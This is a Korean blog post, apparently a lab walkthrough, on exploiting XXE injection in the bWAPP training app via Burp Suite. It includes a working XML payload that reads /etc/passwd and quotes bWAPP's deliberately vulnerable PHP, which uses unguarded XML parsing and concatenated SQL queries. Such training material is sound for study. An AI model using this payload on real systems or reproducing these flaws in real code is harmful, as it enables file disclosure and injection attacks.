Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

삽질블로그

[Kali_Linux] XML External Entity Attacks(XXE) | bWAPP | Missing Functional Level Access Control 본문

카테고리 없음

[Kali_Linux] XML External Entity Attacks(XXE) | bWAPP | Missing Functional Level Access Control

삽질장인 2020. 9. 4. 15:34

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

1. Missing Functional Level Access Control

   - OWASP Top 10 A7 - 기능 수준의 접근 통제 누락

   - 접근 통제 및 검증이 서버 설정, 관리 부분에서 제대로 구성되지 않았을 때 중요 자원 접근이 가능한 취약점이다.

   - Ex) 디렉토리 접근, 파일 접근, 파일 다운로드 및 업로드

 

2. XML External Entity Attacks ( XXE )

 - XML 인젝션을 실시하여 XML Parser(마크업 분석/구조화된 정보를 어플리케이션에게 전달하는 프로세서)

   를 통해 페이지의 내용을 대체하는 권한을 획득하는 취약점이다.

 - 이를 통해서 서버 시스템 내부 자원을 접근할 수 있다. 

 

3. Missing Functional Level Access Control - XML External Entity Attacks ( XXE )

 - 이 시나리오는 SYSTEM 키워드를 이용하여 XML 인젝션을 실시하고, 시스템 내부 자원 정보를 획득하는 내용이다.

 - 이때, 'XXE'라는 외부 엔티티를 선언하고, '&XXE;' 변수를 이용하여 '/etc/passwd' 정보를 획득한다.

 

===============================실습========================================

1) 첫 화면

 

2) Burp Suite > Intercept -> 'Intercept is on' 으로 변경 실시

 

3) Any bugs? 클릭

 

4) 마우스 우클릭 -> 'Send to Repeater' 클릭 -> Repeater 클릭 및 이동

 

5) Request Body에 XXE 스크립트 실시

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY XXE SYSTEM "file:///etc/passwd">
]>
<reset>
	<login>&XXE;</login>
	<secret>1</secret>
</reset>

 

6) 'Send' 버튼 클릭 -> Response에 '/etc/passwd' 파일 내용 확인

 

7) Proxy 클릭 및 이동 -> Intercept is on 클릭하여 off 실시

 

8)  'xxe-1.php' & 'xxe-2.php' 파일 내용 확인 

bee@bee-box:/var/www/bWAPP$ ls -l xxe-*
-rw-rw-r-- 1 root www-data 5318 2014-11-02 23:52 xxe-1.php
-rw-rw-r-- 1 root www-data 2530 2014-11-02 23:52 xxe-2.php

bee@bee-box:/var/www/bWAPP$ vi xxe-1.php
- 중간 생략 -

</div>

    <h1>XML External Entity Attacks (XXE)</h1>

    <p>Reset your secret to <input type="button" OnClick="ResetSecret();" value="Any bugs?"></p>

    <script type="text/javascript">

        function ResetSecret()
        {
            var xmlHttp;
            // Code for IE7+, Firefox, Chrome, Opera, Safari
            if(window.XMLHttpRequest)
            {
                xmlHttp = new XMLHttpRequest();
            }
            // Code for IE6, IE5
            else
            {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            }
            xmlHttp.open("POST","xxe-2.php",true);
            xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
            xmlHttp.send("<reset><login><?php if(isset($_SESSION["login"])){echo $_SESSION["login"];}?></login><secret>Any bugs?</secret></reset>");
        }

    </script>

</div> 

 
:q!

 

bee@bee-box:/var/www/bWAPP$ vi xxe-2.php

- 중간 생략 -

 // If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{

    ini_set("display_errors",1);

    $xml = simplexml_load_string($body);

    // Debugging
    // print_r($xml);

    $login = $xml->login;
    $secret = $xml->secret;

    if($login && $login != "" && $secret)
    {

        // $login = mysqli_real_escape_string($link, $login);
        // $secret = mysqli_real_escape_string($link, $secret);

        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

        // Debugging
        // echo $sql;

        $recordset = $link->query($sql);

        if(!$recordset)
        {

            die("Connect Error: " . $link->error);

        }

        $message = $login . "'s secret has been reset!";

    }

    else
    {

        $message = "An error occured!";

    }

}

// If the security level is MEDIUM or HIGH
else
{

    // Disables XML external entities. Doesn't work with older PHP versions!
   // libxml_disable_entity_loader(true);
    $xml = simplexml_load_string($body);

    // Debugging
    // print_r($xml);

    $login = $_SESSION["login"];
    $secret = $xml->secret;

    if($secret)
    
    {
        $secret = mysqli_real_escape_string($link, $secret);

                    // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시

                       (NULL, \n, \r, \, ', ", ^Z)

        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

        // Debugging
        // echo $sql;

        $recordset = $link->query($sql);

        if(!$recordset)
        {

            die("Connect Error: " . $link->error);

        }

    else
    {

        $message = "An error occured!";

    }

}

 
:q!
Comments